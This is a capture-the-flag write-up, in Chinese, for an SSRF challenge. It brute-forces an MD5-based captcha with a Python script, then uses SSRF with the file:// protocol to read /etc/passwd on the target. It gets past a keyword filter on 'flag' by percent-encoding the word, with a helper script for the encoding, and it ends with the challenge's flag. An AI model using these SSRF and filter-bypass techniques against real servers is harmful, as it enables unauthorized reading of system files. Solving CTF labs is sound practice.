题目名称-SSRF ME
captcha 解码
目录扫描没有发现有用结果,根据提示 url 可能用来访问内部资源,根据题目名称可以猜测 ssrf。
其中 Captcha 用到 md5 加密截取,而且在每一次刷新网页时候会改变,可以写代码爆力枚举 Captcha 的值。
#!/usr/bin/env python3
from argparse import ArgumentParser
from hashlib import md5
def SetParser():
parser=ArgumentParser(
prog="Find the captcha",
description="Find the captcha by enumeration."
)
parser.add_argument("-c","--captcha",default="76a72d",help="Encrypted value of the captcha",type=str)
return parser.parse_args()
def solve(args,l=0,r=100000000):
val=args.captcha
for i in range(l,r+1):
c=str(i)
hs=md5(c.encode()).hexdigest()
if hs[-6:]==val: return c
return None
if __name__ == '__main__':
args=SetParser()
ret=solve(args)
if ret:
print(f"[+] Found captcha: {ret}")
else:
print("[-] Captcha not found, try to change the range!")
爆破得到结果:
SSRF 访问敏感信息
尝试带着 captcha 访问 127.0.0.1:80
发现弹出了网页框,说明可以访问内部资源。
首先尝试使用 file 协议,从网页的返回包中可以发现服务器部署在 Debian 系统上,尝试访问敏感文件: /etc/passwd
发现回显出了结果。
我们可以猜测用 file 协议直接读取 flag 文件:
发现被墙了。说明靶机虽然没有限制 file 协议,但是对关键字 flag 进行了限制,下一步可以考虑从 flag 关键字上面绕过。
尝试对 flag 字符采用 url 百分号编码:
#!/usr/bin/env python3
from argparse import ArgumentParser
def SetParser():
parser=ArgumentParser(
prog="Percent Encoding",
description="Percent Encoding."
)
parser.add_argument("-u","--url",default="",help="URL to encode",type=str)
return parser.parse_args()
def Percent_Encoding(s):
return ''.join('%{:02x}'.format(ord(c)) for c in s)
if __name__ == '__main__':
args=SetParser()
try:
ret=Percent_Encoding(args.url)
print("[+] Encoded URL as:",ret)
except Exception as e:
print(f"[-] Error: {e}")
加密结果替换 flag 再提交即可得到结果
flag
cyberpeace{ff54d58f43f7dadc4c9e8ec27a707fc6}